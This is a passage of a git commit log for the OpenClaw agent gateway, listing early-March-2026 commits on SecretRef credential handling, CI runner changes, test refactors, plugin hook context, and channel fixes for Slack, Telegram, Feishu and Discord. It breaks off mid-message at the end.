7fd4328854 fix(e2e): include shared tool display resource in onboard docker build 2026-03-03 03:02:27 +00:00
Peter Steinberger
7bad42910b docs: reorder unreleased changelog by user interest 2026-03-03 03:00:37 +00:00
Vincent Koc
f2c37e543e CI: optimize Windows lane by splitting bundle and dropping duplicate lanes 2026-03-02 18:58:43 -08:00
Josh Avant
806803b7ef feat(secrets): expand SecretRef coverage across user-supplied credentials (#29580)
* feat(secrets): expand secret target coverage and gateway tooling

* docs(secrets): align gateway and CLI secret docs

* chore(protocol): regenerate swift gateway models for secrets methods

* fix(config): restore talk apiKey fallback and stabilize runner test

* ci(windows): reduce test worker count for shard stability

* ci(windows): raise node heap for test shard stability

* test(feishu): make proxy env precedence assertion windows-safe

* fix(gateway): resolve auth password SecretInput refs for clients

* fix(gateway): resolve remote SecretInput credentials for clients

* fix(secrets): skip inactive refs in command snapshot assignments

* fix(secrets): scope gateway.remote refs to effective auth surfaces

* fix(secrets): ignore memory defaults when enabled agents disable search

* fix(secrets): honor Google Chat serviceAccountRef inheritance

* fix(secrets): address tsgo errors in command and gateway collectors

* fix(secrets): avoid auth-store load in providers-only configure

* fix(gateway): defer local password ref resolution by precedence

* fix(secrets): gate telegram webhook secret refs by webhook mode

* fix(secrets): gate slack signing secret refs to http mode

* fix(secrets): skip telegram botToken refs when tokenFile is set

* fix(secrets): gate discord pluralkit refs by enabled flag

* fix(secrets): gate discord voice tts refs by voice enabled

* test(secrets): make runtime fixture modes explicit

* fix(cli): resolve local qr password secret refs

* fix(cli): fail when gateway leaves command refs unresolved

* fix(gateway): fail when local password SecretRef is unresolved

* fix(gateway): fail when required remote SecretRefs are unresolved

* fix(gateway): resolve local password refs only when password can win

* fix(cli): skip local password SecretRef resolution on qr token override

* test(gateway): cast SecretRef fixtures to OpenClawConfig

* test(secrets): activate mode-gated targets in runtime coverage fixture

* fix(cron): support SecretInput webhook tokens safely

* fix(bluebubbles): support SecretInput passwords across config paths

* fix(msteams): make appPassword SecretInput-safe in onboarding/token paths

* fix(bluebubbles): align SecretInput schema helper typing

* fix(cli): clarify secrets.resolve version-skew errors

* refactor(secrets): return structured inactive paths from secrets.resolve

* refactor(gateway): type onboarding secret writes as SecretInput

* chore(protocol): regenerate swift models for secrets.resolve

* feat(secrets): expand extension credential secretref support

* fix(secrets): gate web-search refs by active provider

* fix(onboarding): detect SecretRef credentials in extension status

* fix(onboarding): allow keeping existing ref in secret prompt

* fix(onboarding): resolve gateway password SecretRefs for probe and tui

* fix(onboarding): honor secret-input-mode for local gateway auth

* fix(acp): resolve gateway SecretInput credentials

* fix(secrets): gate gateway.remote refs to remote surfaces

* test(secrets): cover pattern matching and inactive array refs

* docs(secrets): clarify secrets.resolve and remote active surfaces

* fix(bluebubbles): keep existing SecretRef during onboarding

* fix(tests): resolve CI type errors in new SecretRef coverage

* fix(extensions): replace raw fetch with SSRF-guarded fetch

* test(secrets): mark gateway remote targets active in runtime coverage

* test(infra): normalize home-prefix expectation across platforms

* fix(cli): only resolve local qr password refs in password mode

* test(cli): cover local qr token mode with unresolved password ref

* docs(cli): clarify local qr password ref resolution behavior

* refactor(extensions): reuse sdk SecretInput helpers

* fix(wizard): resolve onboarding env-template secrets before plaintext

* fix(cli): surface secrets.resolve diagnostics in memory and qr

* test(secrets): repair post-rebase runtime and fixtures

* fix(gateway): skip remote password ref resolution when token wins

* fix(secrets): treat tailscale remote gateway refs as active

* fix(gateway): allow remote password fallback when token ref is unresolved

* fix(gateway): ignore stale local password refs for none and trusted-proxy

* fix(gateway): skip remote secret ref resolution on local call paths

* test(cli): cover qr remote tailscale secret ref resolution

* fix(secrets): align gateway password active-surface with auth inference

* fix(cli): resolve inferred local gateway password refs in qr

* fix(gateway): prefer resolvable remote password over token ref pre-resolution

* test(gateway): cover none and trusted-proxy stale password refs

* docs(secrets): sync qr and gateway active-surface behavior

* fix: restore stability blockers from pre-release audit

* Secrets: fix collector/runtime precedence contradictions

* docs: align secrets and web credential docs

* fix(rebase): resolve integration regressions after main rebase

* fix(node-host): resolve gateway secret refs for auth

* fix(secrets): harden secretinput runtime readers

* gateway: skip inactive auth secretref resolution

* cli: avoid gateway preflight for inactive secret refs

* extensions: allow unresolved refs in onboarding status

* tests: fix qr-cli module mock hoist ordering

* Security: align audit checks with SecretInput resolution

* Gateway: resolve local-mode remote fallback secret refs

* Node host: avoid resolving inactive password secret refs

* Secrets runtime: mark Slack appToken inactive for HTTP mode

* secrets: keep inactive gateway remote refs non-blocking

* cli: include agent memory secret targets in runtime resolution

* docs(secrets): sync docs with active-surface and web search behavior

* fix(secrets): keep telegram top-level token refs active for blank account tokens

* fix(daemon): resolve gateway password secret refs for probe auth

* fix(secrets): skip IRC NickServ ref resolution when NickServ is disabled

* fix(secrets): align token inheritance and exec timeout defaults

* docs(secrets): clarify active-surface notes in cli docs

* cli: require secrets.resolve gateway capability

* gateway: log auth secret surface diagnostics

* secrets: remove dead provider resolver module

* fix(secrets): restore gateway auth precedence and fallback resolution

* fix(tests): align plugin runtime mock typings

---------

Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-03-03 02:58:20 +00:00
Peter Steinberger
f212351aed refactor(telegram): dedupe monitor retry test helpers 2026-03-03 02:53:14 +00:00
Peter Steinberger
6408b7f81c refactor(agents): dedupe steer restart test replacement flow 2026-03-03 02:53:14 +00:00
Peter Steinberger
1538813096 refactor(agents): dedupe ollama provider test scaffolding 2026-03-03 02:53:14 +00:00
Peter Steinberger
55c128ddc2 refactor(memory): dedupe readonly recovery test scenarios 2026-03-03 02:53:14 +00:00
Peter Steinberger
3ff0cf262d refactor(infra): dedupe update startup test setup 2026-03-03 02:53:14 +00:00
Peter Steinberger
a50dd0bb06 refactor(infra): dedupe ssrf fetch guard test fixtures 2026-03-03 02:53:13 +00:00
Peter Steinberger
8b4cdbb21d refactor(infra): dedupe exec approval allowlist evaluation flow 2026-03-03 02:53:13 +00:00
Peter Steinberger
b8181e5944 refactor(gateway): dedupe agents server-method handlers 2026-03-03 02:53:13 +00:00
Peter Steinberger
7a8232187b refactor(config): dedupe session store save error handling 2026-03-03 02:53:13 +00:00
Peter Steinberger
1a0036283d refactor(security): dedupe telegram allowlist validation loops 2026-03-03 02:53:13 +00:00
Peter Steinberger
4fb6da2b32 refactor(tests): dedupe canvas host server setup 2026-03-03 02:53:13 +00:00
Peter Steinberger
4a59d0ad98 refactor(tests): dedupe session store route fixtures 2026-03-03 02:53:13 +00:00
Peter Steinberger
d068fc9f9d refactor(tests): dedupe agent handler test scaffolding 2026-03-03 02:53:13 +00:00
Peter Steinberger
369646a513 refactor(tests): dedupe openresponses http fixtures 2026-03-03 02:53:13 +00:00
Peter Steinberger
3460aa4dee refactor(browser): dedupe playwright interaction helpers 2026-03-03 02:53:13 +00:00
Peter Steinberger
e290f4ca41 refactor(config): dedupe repeated zod schema shapes 2026-03-03 02:53:13 +00:00
Peter Steinberger
884ca65dc7 refactor(acp): dedupe runtime option command plumbing 2026-03-03 02:53:13 +00:00
Peter Steinberger
1a52d943ed refactor(tests): dedupe model compat assertions 2026-03-03 02:53:13 +00:00
Peter Steinberger
7897ffb72f refactor(memory): dedupe openai batch fetch flows 2026-03-03 02:53:13 +00:00
Peter Steinberger
5c18ba6f65 refactor(tests): dedupe gateway chat history fixtures 2026-03-03 02:53:13 +00:00
Peter Steinberger
25a2fe2bea refactor(tests): dedupe control ui auth pairing fixtures 2026-03-03 02:53:13 +00:00
Peter Steinberger
fa4ff5f3d2 refactor(acp): extract install hint resolver 2026-03-03 02:51:24 +00:00
Peter Steinberger
ac318be405 refactor(voice-call): unify runtime cleanup lifecycle 2026-03-03 02:51:17 +00:00
Peter Steinberger
c85bd2646a refactor(cli): extract plugin install plan helper 2026-03-03 02:51:11 +00:00
Peter Steinberger
6472e03412 refactor(agents): share failover error matchers 2026-03-03 02:51:00 +00:00
Vincent Koc
24fd6c8278 CI: use Blacksmith docker builder in sandbox smoke 2026-03-02 18:48:18 -08:00
Vincent Koc
5cffbbda32 CI: use Blacksmith docker builder in install smoke 2026-03-02 18:48:18 -08:00
Vincent Koc
85d17fd429 CI: migrate docker release build cache to Blacksmith 2026-03-02 18:48:18 -08:00
Vincent Koc
96d56a9721 CI: enable sticky-disk pnpm cache on Linux CI jobs 2026-03-02 18:48:18 -08:00
Vincent Koc
ffd3ad032a CI: add sticky-disk mode to pnpm cache action 2026-03-02 18:48:18 -08:00
Vincent Koc
8a463af823 CI: add sticky-disk toggle to setup node action 2026-03-02 18:48:18 -08:00
Peter Steinberger
6bf1abf603 ci: use valid Blacksmith Windows runner label 2026-03-03 02:47:06 +00:00
Josh Lehman
3a8133d587 fix(scripts/pr): SSH-first prhead remote with GraphQL fallback for fork PRs (#32126)
Co-authored-by: Shakker <shakkerdroid@gmail.com>
2026-03-03 02:46:01 +00:00
Peter Steinberger
8ac924c769 refactor(security): centralize audit execution context 2026-03-03 02:42:43 +00:00
Peter Steinberger
2d033d2aa8 refactor(agents): split tool-result char estimator 2026-03-03 02:42:43 +00:00
Peter Steinberger
1ec9673cc5 refactor(telegram): split lane preview target helpers 2026-03-03 02:42:43 +00:00
Peter Steinberger
fdb0bf804f refactor(test): dedupe telegram draft-stream fixtures 2026-03-03 02:42:43 +00:00
Peter Steinberger
40f2e2b8a6 ci: scale Windows CI runner and test workers 2026-03-03 02:42:32 +00:00
Ayaan Zaidi
87977d7a19 fix: unblock build type errors 2026-03-03 08:11:51 +05:30
Peter Steinberger
9f691099db fix(voice-call): harden webhook lifecycle cleanup and retries (#32395) (thanks @scoootscooob) 2026-03-03 02:39:50 +00:00
scoootscooob
e707c97ca6 fix(voice-call): prevent EADDRINUSE by guarding webhook server lifecycle
Three issues caused the port to remain bound after partial failures:

1. VoiceCallWebhookServer.start() had no idempotency guard — calling it
   while the server was already listening would create a second server on
   the same port.

2. createVoiceCallRuntime() did not clean up the webhook server if a step
   after webhookServer.start() failed (e.g. manager.initialize). The
   server kept the port bound while the runtime promise rejected.

3. ensureRuntime() cached the rejected promise forever, so subsequent
   calls would re-throw the same error without ever retrying. Combined
   with (2), the port stayed orphaned until gateway restart.

Fixes #32387

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 02:39:50 +00:00
Peter Steinberger
0750fc2de1 test: consolidate extension runtime mocks and split bluebubbles webhook auth suite 2026-03-03 02:37:23 +00:00
Peter Steinberger
59567a8c5d ci: move changed-scope logic into tested script 2026-03-03 02:37:23 +00:00
Peter Steinberger
8ee357fc76 refactor: extract session init helpers 2026-03-03 02:37:23 +00:00
Peter Steinberger
9702d94196 refactor: split plugin runtime type contracts 2026-03-03 02:37:23 +00:00
AI南柯(KingMo)
30ab9b2068 fix(agents): recognize connection errors as retryable timeout failures (#31697)
* fix(agents): recognize connection errors as retryable timeout failures

## Problem

When a model endpoint becomes unreachable (e.g., local proxy down,
relay server offline), the failover system fails to switch to the
next candidate model. Errors like "Connection error." are not
classified as retryable, causing the session to hang on a broken
endpoint instead of falling back to healthy alternatives.

## Root Cause

Connection/network errors are not recognized by the current failover
classifier:
- Text patterns like "Connection error.", "fetch failed", "network error"
- Error codes like ECONNREFUSED, ENOTFOUND, EAI_AGAIN (in message text)

While `failover-error.ts` handles these as error codes (err.code),
it misses them when they appear as plain text in error messages.

## Solution

Extend timeout error patterns to include connection/network failures:

**In `errors.ts` (ERROR_PATTERNS.timeout):**
- Text: "connection error", "network error", "fetch failed", etc.
- Regex: /\beconn(?:refused|reset|aborted)\b/i, /\benotfound\b/i, /\beai_again\b/i

**In `failover-error.ts` (TIMEOUT_HINT_RE):**
- Same patterns for non-assistant error paths

## Testing

Added test cases covering:
- "Connection error."
- "fetch failed"
- "network error: ECONNREFUSED"
- "ENOTFOUND" / "EAI_AGAIN" in message text

## Impact

- **Compatibility:** High - only expands retryable error detection
- **Behavior:** Connection failures now trigger automatic fallback
- **Risk:** Low - changes are additive and well-tested

* style: fix code formatting for test file
2026-03-03 02:37:23 +00:00
riftzen-bit
5e1a2ea019 chore: remove unreachable "LINUX" from resolvePlatform return type
Address review feedback: since resolvePlatform() no longer returns
"LINUX", remove it from the union type to prevent future confusion.
2026-03-03 02:36:01 +00:00
riftzen-bit
008e4804a6 fix(gemini-cli-auth): use PLATFORM_UNSPECIFIED for Linux in loadCodeAssist
Google's loadCodeAssist API rejects "LINUX" as an invalid Platform enum
value, causing OAuth setup to fail with 400 Bad Request on Linux systems.

The pi-ai runtime already uses "PLATFORM_UNSPECIFIED" for this field.
This aligns the extension's discoverProject() with that approach by
returning "PLATFORM_UNSPECIFIED" for Linux (and other non-Windows/macOS
platforms) instead of "LINUX".

Also fixes the original resolvePlatform() which incorrectly fell through
to "MACOS" as default instead of explicitly checking for "darwin".
2026-03-03 02:36:01 +00:00
AaronWander
4c32411bee fix(exec): suggest increasing timeout on timeouts 2026-03-03 02:35:10 +00:00
Gustavo Madeira Santana
91cdb703bd Agents: add context metadata warmup retry backoff 2026-03-02 21:34:55 -05:00
john
04ac688dff fix(acp): use publishable acpx install hint 2026-03-03 02:34:07 +00:00
苏敏童0668001043
b29e913efe fix(docker): correct awk quoting in Docker GPG fingerprint check (#32153) 2026-03-03 02:32:46 +00:00
Peter Steinberger
895abc5a64 perf(security): allow audit snapshot and summary cache reuse 2026-03-03 02:32:13 +00:00
Peter Steinberger
62582fc088 perf(agents): cache per-pass context char estimates 2026-03-03 02:32:13 +00:00
Peter Steinberger
57336203d5 test(telegram): move preview-finalization cases to lane unit tests 2026-03-03 02:32:13 +00:00
Peter Steinberger
1929151103 refactor(telegram): extract sequential key module 2026-03-03 02:32:13 +00:00
Peter Steinberger
6ab9e00e17 fix: resolve pi-tools typing regressions 2026-03-03 02:27:59 +00:00
Peter Steinberger
2380c1b5fd refactor(ui): dedupe inline code wrap rules 2026-03-03 02:19:34 +00:00
Peter Steinberger
493b560dfd refactor(runtime): unify node version guard parsing 2026-03-03 02:19:34 +00:00
Peter Steinberger
1dd77e4106 refactor(slack): extract socket reconnect policy helpers 2026-03-03 02:19:34 +00:00
Peter Steinberger
4d52dfe85b refactor(sessions): add explicit merge activity policies 2026-03-03 02:19:34 +00:00
Peter Steinberger
d380ed710d refactor(agents): split pi-tools param and host-edit wrappers 2026-03-03 02:19:34 +00:00
Peter Steinberger
03755f8463 test(telegram): dedupe streaming cases and tighten sequential key checks 2026-03-03 02:14:15 +00:00
Peter Steinberger
7fdbf1202e test(security): reduce audit fixture setup overhead 2026-03-03 02:14:15 +00:00
Peter Steinberger
70db52de71 test(agents): centralize AgentMessage fixtures and remove unsafe casts 2026-03-03 02:14:15 +00:00
Gustavo Madeira Santana
15a0455d04 CLI: unify routed config positional parsing 2026-03-02 21:11:53 -05:00
Peter Steinberger
d3c637d193 fix: recover host edit success after post-write upstream throw (#32383) (thanks @polooooo) 2026-03-03 02:06:59 +00:00
倪汉杰0668001185
0fb3f188b2 fix(agents): only recover edit when oldText no longer in file (review feedback) 2026-03-03 02:06:59 +00:00
倪汉杰0668001185
bf6aa7ca67 fix(agents): treat host edit tool as success when file contains newText after upstream throw (fixes #32333) 2026-03-03 02:06:59 +00:00
Peter Steinberger
0fd77c9856 refactor: modularize plugin runtime and test hooks 2026-03-03 02:06:58 +00:00
Peter Steinberger
f77f1d3800 fix: preserve inline code copy fidelity in web ui (#32346) (thanks @hclsys) 2026-03-03 02:05:45 +00:00
HCL
7c90ef7c52 fix(webui): prevent inline code from breaking mid-token on copy/paste
The parent `.chat-text` applies `overflow-wrap: anywhere; word-break: break-word;`
which forces long tokens (UUIDs, hashes) inside inline `<code>` to break across
visual lines. When copied, the browser injects spaces at those break points,
corrupting the pasted value.

Override with `overflow-wrap: normal; word-break: keep-all;` on inline `<code>`
selectors so tokens stay intact.

Fixes #32230

Signed-off-by: HCL <chenglunhu@gmail.com>
2026-03-03 02:05:37 +00:00
Peter Steinberger
7dadd5027b fix: enforce node v22.12+ preflight for installer and runtime (#32356) (thanks @jasonhargrove) 2026-03-03 02:03:45 +00:00
Jason Hargrove
f8ed48293c fix(cli): align Node 22.12 preflight checks and clean runtime guard output
Tighten installer/runtime consistency so users on Node 22.0-22.11 are blocked before install/runtime drift, with cleaner CLI guidance.

- Enforce Node >=22.12 in scripts/install.sh preflight checks
- Align installer messages to the same 22.12+ runtime floor
- Replace openclaw.mjs thrown version error with stderr+exit to avoid noisy stack traces
2026-03-03 02:03:45 +00:00
Jason Hargrove
96a38d5aa4 fix(cli): fail fast on unsupported Node versions in install and runtime paths
Surface a clear Node 22.12+ requirement before npm/install bootstrap work so users avoid misleading downstream errors.

- Add installer shell preflight to block active Node <22 and suggest NVM recovery commands
- Add openclaw.mjs runtime preflight for npm/npx usage with explicit Node version guidance
- Keep messaging actionable for both NVM and non-NVM environments
2026-03-03 02:03:45 +00:00
Peter Steinberger
c7ec237089 fix: fail fast on non-recoverable slack auth errors (#32377) (thanks @scoootscooob) 2026-03-03 01:59:47 +00:00
scoootscooob
1ae82be55a fix(slack): fail fast on non-recoverable auth errors instead of retry loop
When a Slack bot is removed from a workspace while still configured in
OpenClaw, the gateway enters an infinite retry loop on account_inactive
or invalid_auth errors, making the entire gateway unresponsive.

Add isNonRecoverableSlackAuthError() to detect permanent credential
failures (account_inactive, invalid_auth, token_revoked, etc.) and
throw immediately instead of retrying.  This mirrors how the Telegram
provider already distinguishes recoverable network errors from fatal
auth errors via isRecoverableTelegramNetworkError().

The check is applied in both the startup catch block and the disconnect
reconnect path so stale credentials always fail fast with a clear error
message.

Closes #32366

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 01:59:47 +00:00
Peter Steinberger
fd782d811e fix: preserve idle reset timestamp on inbound metadata writes (#32379) (thanks @romeodiaz) 2026-03-03 01:57:53 +00:00
romeodiaz
a467517b2b fix(sessions): preserve idle reset timestamp on inbound metadata 2026-03-03 01:57:53 +00:00
nico-hoff
3eec79bd6c feat(memory): add Ollama embedding provider (#26349)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ac41386543
Co-authored-by: nico-hoff <43175972+nico-hoff@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-02 20:56:40 -05:00
Peter Steinberger
4ba5937ef9 refactor(tests): dedupe tools invoke http request helpers 2026-03-03 01:54:28 +00:00
Peter Steinberger
6fc3f504d6 refactor(tests): dedupe media transcript echo config setup 2026-03-03 01:54:28 +00:00
Peter Steinberger
b17687b775 refactor(tests): dedupe security fix scenario helpers 2026-03-03 01:54:27 +00:00
Peter Steinberger
eca242b971 refactor(tests): dedupe manifest registry link fixture setup 2026-03-03 01:54:27 +00:00
Peter Steinberger
4494844d17 refactor(tests): dedupe discord monitor e2e fixtures 2026-03-03 01:54:27 +00:00
Peter Steinberger
5193189953 refactor(tests): dedupe cron store migration setup 2026-03-03 01:54:27 +00:00
Peter Steinberger
fbb88d5063 refactor(tests): dedupe isolated agent cron turn assertions 2026-03-03 01:54:27 +00:00
Peter Steinberger
c0715db3c8 fix: add session hook context regression tests (#26394) (thanks @tempeste) 2026-03-03 01:48:46 +00:00
tempeste
20c15ccc63 Plugins: add sessionKey to session lifecycle hooks 2026-03-03 01:48:46 +00:00
Peter Steinberger
16fd604219 fix(security): pin tlon api source and secure hold music url 2026-03-03 01:45:24 +00:00
Peter Steinberger
61f29830bc fix(test): resolve upstream typing drift in feishu and cron suites 2026-03-03 01:44:21 +00:00
Peter Steinberger
47736e3432 refactor(test): extract cron issue-regression harness and frozen-time helper 2026-03-03 01:44:21 +00:00
Peter Steinberger
39520ad21b test(agents): tighten pi message typing and dedupe malformed tool-call cases 2026-03-03 01:44:21 +00:00
Sk Akram
bd8c3230e8 fix: force supportsDeveloperRole=false for non-native OpenAI endpoints (#29479)
Merged via squash.

Prepared head SHA: 1416c584ac
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-02 20:43:49 -05:00
Peter Steinberger
ebbb572639 fix: add requestHeartbeatNow runtime coverage (#19464) (thanks @AustinEral) 2026-03-03 01:40:31 +00:00
Austin Eral
3b9877dee7 fix: add requestHeartbeatNow to bluebubbles test mock 2026-03-03 01:40:31 +00:00
Austin Eral
40e5c6a18d feat(plugins): expose requestHeartbeatNow on plugin runtime
Add requestHeartbeatNow to PluginRuntime.system so extensions can
trigger an immediate heartbeat wake without importing internal modules.

This enables extensions to inject a system event and wake the agent
in one step — useful for inbound message handlers that use the
heartbeat model (e.g. agent-to-agent DMs via Nostr).

Changes:
- src/plugins/runtime/types.ts: add RequestHeartbeatNow type alias
  and requestHeartbeatNow to PluginRuntime.system
- src/plugins/runtime/index.ts: import and wire requestHeartbeatNow
  into createPluginRuntime()
2026-03-03 01:40:31 +00:00
David Rudduck
11e1363d2d feat(hooks): add trigger and channelId to plugin hook agent context (#28623)
* feat(hooks): add trigger and channelId to plugin hook agent context

Adds `trigger` and `channelId` fields to `PluginHookAgentContext` so
plugins can determine what initiated the agent run and which channel
it originated from, without session-key parsing or Redis bridging.

trigger values: "user", "heartbeat", "cron", "memory"
channelId values: "telegram", "discord", "whatsapp", etc.

Both fields are threaded through run.ts and attempt.ts hookCtx so all
hook phases receive them (before_model_resolve, before_prompt_build,
before_agent_start, llm_input, llm_output, agent_end).

channelId falls back from messageChannel to messageProvider when the
former is not set. followup-runner passes originatingChannel so queued
followup runs also carry channel context.

* docs(changelog): note hook context parity fix for #28623

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-02 17:39:20 -08:00
Peter Steinberger
ee646dae82 fix: add runtime.events regression tests (#16044) (thanks @scifantastic) 2026-03-03 01:37:56 +00:00
SciFantastic
85f01cd9eb Fix styles 2026-03-03 01:37:56 +00:00
SciFantastic
bab5d994bc docs: expand JSDoc for onSessionTranscriptUpdate params and return 2026-03-03 01:37:56 +00:00
SciFantastic
2365c6c86a docs: add JSDoc to onSessionTranscriptUpdate 2026-03-03 01:37:56 +00:00
SciFantastic
53ada1e9b9 fix: add missing events property to bluebubbles PluginRuntime mock 2026-03-03 01:37:56 +00:00
SciFantastic
b91a22a3fb style: fix indentation in transcript-events 2026-03-03 01:37:56 +00:00
SciFantastic
2aab6dff76 fix: wrap transcript event listeners in try/catch to prevent throw propagation 2026-03-03 01:37:56 +00:00
SciFantastic
980388fcf0 plugin-sdk: expose onAgentEvent + onSessionTranscriptUpdate via PluginRuntime.events 2026-03-03 01:37:56 +00:00
Peter Steinberger
3e6451f2d8 refactor(feishu): expose default-account selection source 2026-03-03 01:37:39 +00:00
Peter Steinberger
2f6718b8e7 refactor(gateway): extract channel health policy and timing aliases 2026-03-03 01:37:39 +00:00
Peter Steinberger
b5350bf46f refactor(outbound): unify channel selection and action input normalization 2026-03-03 01:37:39 +00:00
Peter Steinberger
0f5f20ee6b refactor(tests): dedupe cron delivered status assertions 2026-03-03 01:37:12 +00:00
Peter Steinberger
6b6af1a64f refactor(tests): dedupe web fetch and embedded tool hook fixtures 2026-03-03 01:37:12 +00:00
Peter Steinberger
c1b37f29f0 refactor(tests): dedupe browser and telegram tool test fixtures 2026-03-03 01:37:12 +00:00
Peter Steinberger
a3b674cc98 refactor(tests): dedupe agent lock and loop detection fixtures 2026-03-03 01:37:12 +00:00
Brian Mendonca
cdc1ef85e8 Feishu: cache failing probes (#29970)
* Feishu: cache failing probes

* Changelog: add Feishu probe failure backoff note

---------

Co-authored-by: bmendonca3 <208517100+bmendonca3@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 19:37:07 -06:00
Peter Steinberger
1ca69c8fd7 fix: add channelRuntime regression coverage (#25462) (thanks @guxiaobo) 2026-03-03 01:34:50 +00:00
Gu XiaoBo
469cd5b464 feat(plugin-sdk): Add channelRuntime support for external channel plugins
## Overview

This PR enables external channel plugins (loaded via Plugin SDK) to access
advanced runtime features like AI response dispatching, which were previously
only available to built-in channels.

## Changes

### src/gateway/server-channels.ts
- Import PluginRuntime type
- Add optional channelRuntime parameter to ChannelManagerOptions
- Pass channelRuntime to channel startAccount calls via conditional spread
- Ensures backward compatibility (field is optional)

### src/gateway/server.impl.ts
- Import createPluginRuntime from plugins/runtime
- Create and pass channelRuntime to channel manager

### src/channels/plugins/types.adapters.ts
- Import PluginRuntime type
- Add comprehensive documentation for channelRuntime field
- Document available features, use cases, and examples
- Improve type safety (use imported PluginRuntime type vs inline import)

## Benefits

External channel plugins can now:
- Generate AI-powered responses using dispatchReplyWithBufferedBlockDispatcher
- Access routing, text processing, and session management utilities
- Use command authorization and group policy resolution
- Maintain feature parity with built-in channels

## Backward Compatibility

- channelRuntime field is optional in ChannelGatewayContext
- Conditional spread ensures it's only passed when explicitly provided
- Existing channels without channelRuntime support continue to work unchanged
- No breaking changes to channel plugin API

## Testing

- Email channel plugin successfully uses channelRuntime for AI responses
- All existing built-in channels (slack, discord, telegram, etc.) work unchanged
- Gateway loads and runs without errors when channelRuntime is provided
2026-03-03 01:34:50 +00:00
Peter Steinberger
666073ee46 test: fix tsgo baseline test compatibility 2026-03-03 01:24:20 +00:00
Vincent Koc
747902a26a fix(hooks): propagate run/tool IDs for tool hook correlation (#32360)
* Plugin SDK: add run and tool call fields to tool hooks

* Agents: propagate runId and toolCallId in before_tool_call

* Agents: thread runId through tool wrapper context

* Runner: pass runId into tool hook context

* Compaction: pass runId into tool hook context

* Agents: scope after_tool_call start data by run

* Tests: cover run and tool IDs in before_tool_call hooks

* Tests: add run-scoped after_tool_call collision coverage

* Hooks: scope adjusted tool params by run

* Tests: cover run-scoped adjusted param collisions

* Hooks: preserve active tool start metadata until end

* Changelog: add tool-hook correlation note
2026-03-02 17:23:08 -08:00
Peter Steinberger
61adcea68e fix(test): tighten tool result typing in context pruning tests 2026-03-03 01:18:29 +00:00
Peter Steinberger
5ee6ca13b7 docs(changelog): add landed notes for #32336 and #32364 2026-03-03 01:18:05 +00:00
Peter Steinberger
71cd337137 fix(gateway): harden message action channel fallback and startup grace
Take the safe, tested subset from #32367:\n- per-channel startup connect grace in health monitor\n- tool-context channel-provider fallback for message actions\n\nCo-authored-by: Munem Hashmi <munem.hashmi@gmail.com>
2026-03-03 01:17:27 +00:00
Peter Steinberger
4d04e1a41f fix(test): harden discord lifecycle status sink typing 2026-03-03 01:15:16 +00:00
Peter Steinberger
67e3eb85d7 refactor(tests): dedupe browser and config cli test setup 2026-03-03 01:15:09 +00:00
Peter Steinberger
1b4062defd refactor(tests): dedupe pi embedded test harness 2026-03-03 01:15:09 +00:00
Peter Steinberger
3e4dd84511 fix: webchat gfm table rendering and overflow (#32365) (thanks @BlueBirdBack) 2026-03-03 01:14:30 +00:00
Ash (Bug Lab)
5084621f43 fix(ui): ensure GFM tables render in WebChat markdown (#20410)
- Pass gfm:true + breaks:true explicitly to marked.parse() so table
  support is guaranteed even if global setOptions() is bypassed or
  reset by a future refactor (defense-in-depth)
- Add display:block + overflow-x:auto to .chat-text table so wide
  multi-column tables scroll horizontally instead of being clipped
  by the parent overflow-x:hidden chat container
- Add regression tests for GFM table rendering in markdown.test.ts
2026-03-03 01:14:30 +00:00
Peter Steinberger
346d3590fb fix(discord): harden voice ffmpeg path and opus fast-path 2026-03-03 01:14:15 +00:00
Peter Steinberger
687ef2e00f refactor(media): add shared ffmpeg helpers 2026-03-03 01:14:14 +00:00
Peter Steinberger
1187464041 fix: feishu default account outbound resolution (#32253) (thanks @bmendonca3) 2026-03-03 01:13:18 +00:00
bmendonca3
4e4a100038 Feishu: honor configured default account 2026-03-03 01:13:18 +00:00
Peter Steinberger
ddd71bc9f6 fix: guard gemini schema null properties (#32332) (thanks @webdevtodayjason) 2026-03-03 01:12:06 +00:00
webdevtodayjason
1a7a18d0bc fix(agents): guard gemini tool schema properties against null 2026-03-03 01:12:06 +00:00
Peter Steinberger
4e4d94cd38 fix(test): satisfy auth profile secret ref typing in runtime tests 2026-03-03 01:12:01 +00:00
Peter Steinberger
f0640b0100 fix(test): align gateway and session spawn hook typings 2026-03-03 01:12:01 +00:00
dongdong
46df7e2421 fix(feishu): skip typing indicator keepalive re-adds to prevent notification spam (#31580)
* fix(feishu): skip typing indicator keepalive re-adds to prevent notification spam

The typing keepalive loop calls addTypingIndicator() every 3 seconds,
which creates a new messageReaction.create API call each time. Feishu
treats each re-add as a new reaction event and fires a push notification,
causing users to receive repeated notifications while waiting for a
response.

Unlike Telegram/Discord where typing status expires after a few seconds,
Feishu reactions persist until explicitly removed. Skip the keepalive
re-add when a reaction already exists (reactionId is set) since there
is no need to refresh it.

Closes #28660

* Changelog: note Feishu typing keepalive suppression

---------

Co-authored-by: yuxh1996 <yuxh1996@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 19:11:47 -06:00
Peter Steinberger
42626648d7 docs(models): clarify moonshot thinking and failover stop-reason errors 2026-03-03 01:11:29 +00:00
Mitch McAlister
17b40c4a59 fix: guard isConnected check against already-aborted signal
When abortSignal is already aborted at lifecycle start, onAbort() fires
synchronously and pushes connected: false. Without a lifecycleStopping
guard, the subsequent gateway.isConnected check could push a spurious
connected: true, contradicting the shutdown.

Adds !lifecycleStopping to the isConnected guard and a test verifying
no connected: true is emitted when the signal is pre-aborted.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-03 01:10:56 +00:00
Mitch McAlister
d9119f0791 fix(discord): push connected status when gateway is already connected at lifecycle start
When the Discord gateway completes its READY handshake before
`runDiscordGatewayLifecycle` registers its debug event listener, the
initial "WebSocket connection opened" event is missed. This leaves
